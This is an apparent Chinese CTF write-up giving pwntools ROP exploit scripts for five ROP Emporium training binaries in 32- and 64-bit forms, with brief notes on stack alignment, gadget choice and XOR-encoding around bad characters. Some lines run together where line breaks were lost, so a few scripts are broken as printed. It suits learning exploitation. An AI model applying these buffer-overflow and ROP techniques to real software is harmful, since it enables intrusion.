ROP Emporium做题记录Challenge1-5（x86）

题目地址rop emporium

1.ret2win(x86-32)

from pwn import *
p = process('./ret2win32')
ret2win_addr = 0x804862c#system("/bin/cat flag.txt")
payload = b'a'*(0x28+0x4)+p32(ret2win_addr)
p.send(payload)
p.recv()

1.ret2win（x86-64）

from pwn import *
p = process('./ret2win')
ret2win_addr = 0x400756
payload = b'a'*0x28 + p64(ret2win_addr)
p.send(payload)
p.recv()

2.split（x86-32）

from pwn import *
p = process('./split32')
string_addr = 0x804A030#/bin/cat flag.txt
#system_addr = 0x80483e0#system@plt
#payload = b'a'*0x2c+p32(system_addr)+p32(0)+p32(string_addr)
system_addr = 0x804861a#call system
payload = b'a'*0x2c+p32(system_addr)+p32(string_addr)
p.send(payload)
p.recv()

返回地址可以用system@plt的地址，p32（0）是新的返回地址。也可以用call system的地址，用这个就不用填充4字节，因为call有一个返回地址压栈操作

2.split（x86-64）

from pwn import *
p = process('./split')
string_addr = 0x601060#/bin/cat flag.txt
system_addr = 0x400560#addr of system@plt
pop_rdi_addr = 0x4007c3
payload = b'a'*0x28+p64(pop_rdi_addr)+p64(string_addr)+p64(system_addr)
p.send(payload)
p.recv()
p.recv()

3.callme（x86-32）

from pwn import *
p = process('./callme32')
callmeone_addr = 0x80484f0
callmetwo_addr = 0x8048550
callmethree_addr = 0x80484e0
para1 = 0xdeadbeef
para2 = 0xcafebabe
para3 = 0xd00df00d
pop_pop_pop_ret = 0x80487f9
add_pop_ret = 0x80484aa
payload = b'a'*44+p32(callmeone_addr)+p32(pop_pop_pop_ret)
payload += p32(para1)+p32(para2)+p32(para3)
payload += p32(callmetwo_addr)+p32(add_pop_ret)
payload += p32(para1)+p32(para2)+p32(para3)
payload += p32(callmethree_addr)+p32(add_pop_ret)
payload += p32(para1)+p32(para2)+p32(para3)
p.send(payload)
p.recv()

两个gadget是用来平衡堆栈的，效果都一样，我就都试试了

3.callme（x86-64）

from pwn import *
p = process('./callme')
callme1_addr = 0x400720
callme2_addr = 0x400740
callme3_addr = 0x4006f0para1 = 0xdeadbeefdeadbeef
para2 = 0xcafebabecafebabe
para3 = 0xd00df00dd00df00d
pop_rdi_ret = 0x4009a3
pop_rsi_rdx_ret = 0x40093dpayload = b''
payload += b'a'*0x28
payload += p64(pop_rdi_ret)+p64(para1)+p64(pop_rsi_rdx_ret)+p64(para2)+p64(para3)+p64(callme1_addr)
payload += p64(pop_rdi_ret)+p64(para1)+p64(pop_rsi_rdx_ret)+p64(para2)+p64(para3)+p64(callme2_addr)
payload += p64(pop_rdi_ret)+p64(para1)+p64(pop_rsi_rdx_ret)+p64(para2)+p64(para3)+p64(callme3_addr)
p.send(payload)
p.recv()

4.write4（x86-32）

from pwn import *
p = process('./write432')
printfile_addr = 0x80483d0
mov_ret = 0x8048543#mov dword ptr[edi],ebp;ret
pop_pop_ret = 0x80485aa#pop edi;pop ebp;ret
write_addr = 0x804a018#WApayload = b'a'*0x2c
payload += p32(pop_pop_ret)+p32(write_addr)+b'flag'
payload += p32(mov_ret)+p32(pop_pop_ret)+p32(write_addr+4)+b'.txt'
payload += p32(mov_ret)
payload += p32(printfile_addr)+p32(0)+p32(write_addr)
p.send(payload)
p.recv()

4.write4（x86-64）

from pwn import *
p = process('./write4')
write_addr = 0x601028
mov_ret = 0x400628#mov qword ptr[r14],r15;ret
pop_pop_ret = 0x400690#pop r14;pop r15;ret
pop_ret = 0x400693#pop rdi;ret
printfile_addr = 0x400510
payload = b'a'*0x28
payload += p64(pop_pop_ret)+p64(write_addr)+b'flag.txt'
payload += p64(mov_ret) + p64(pop_ret) + p64(write_addr)
payload += p64(printfile_addr)
p.send(payload)
p.recv()

没有字符串就写一个，可以利用mov指令往内存里写，找一个有写权限的地址，还有不要影响到程序正常运行，我用的data段，注意要加上\x00截断符，我这里再往后面写四字节0反而错了，后面应该就有。还有一种姿势是调用gets函数写，但要题目有一个字符串可以写

5.badchars（x86-32）

from pwn import *
p = process('./badchars32')
printfile_addr = 0x080483d0
mov_ret = 0x0804854f#mov dword ptr [edi] , esi ; ret
pop_pop_pop_pop_ret = 0x080485b8#pop ebx;pop esi;pop edi;pop ebp;ret
pop_pop_pop_ret = 0x080485b9#pop esi;pop edi;pop ebp;ret
xor_ret = 0x08048547#xor byte ptr[ebp],bl ; ret
write_addr = 0x0804a018
pop_ret = 0x080485bb#pop ebp ; ret
pop_ebx_ret = 0x0804839d#pop ebx ;retbadchars = ['0x78','0x67','0x61','0x2e']
payload = b'b'*0x2c+p32(pop_pop_pop_pop_ret)+p32(32)+b'flAG'+p32(write_addr)+p32(write_addr+2)+p32(mov_ret)
payload += p32(pop_pop_pop_ret)+b'\x0etXt'+p32(write_addr+4)+p32(write_addr+2)
payload += p32(mov_ret)
payload += p32(xor_ret) + p32(pop_ret) + p32(write_addr+3) + p32(xor_ret)
payload += p32(pop_ret) + p32(write_addr+4) + p32(xor_ret)
payload += p32(pop_ret) + p32(write_addr+6) + p32(xor_ret)
payload += p32(printfile_addr)+p32(0)+p32(write_addr)p.send(payload)
p.recv()

比较乱，思路就是碰到有badchars给它加密一下，题目提示用异或，用之前再解密一下就可以，它这里是对每个字节都判断的，好在运气没有那么长，地址里都没有出现过滤字节，主要是flag.txt，这里我用32异或方便一点。

5.badchars（x86-64）

from pwn import *
p = process('./badchars')
write_addr = 0x60102f#0x601028-0x601038(+0 +3 +4 +6 ! 0x2e)
func_addr = 0x400510#print_file
badchars = [0x78,0x67,0x2e,0x61]mov_ret = 0x400634#mov qword ptr[r13],r12;ret
pop_r12_r13_r14_r15_ret = 0x40069c
pop_r15_ret = 0x4006a2
pop_rdi_ret = 0x4006a3
xor_ret = 0x400628#xor byte ptr [r15],r14b;ret
pop_r14_r15_ret = 0x4006a0
add_ret = 0x40062c#add byte ptr [r15],r14b;retpayload = b'b'*0x28+p64(pop_r12_r13_r14_r15_ret)+b'flAG\x0etXt'
payload += p64(write_addr)+p64(32)+p64(write_addr+2)
payload += p64(mov_ret)+p64(xor_ret)
payload += p64(pop_r15_ret)+p64(write_addr+3)+p64(xor_ret)
payload += p64(pop_r15_ret)+p64(write_addr+4)+p64(xor_ret)
payload += p64(pop_r15_ret)+p64(write_addr+6)+p64(xor_ret)payload += p64(pop_rdi_ret)+p64(write_addr)
payload += p64(func_addr)p.send(payload)p.recv()

一开始write_addr用data段的开始位置，发现flag.tXt的X没有被异或也就是write_addr+6，因为刚好这个有0x2e，所以我先想通过add指令之类的改寄存器，找来找去没有好的gadget，就算了。这里就换个地址，给它避免掉，data段还蛮大的，下面还有bss段。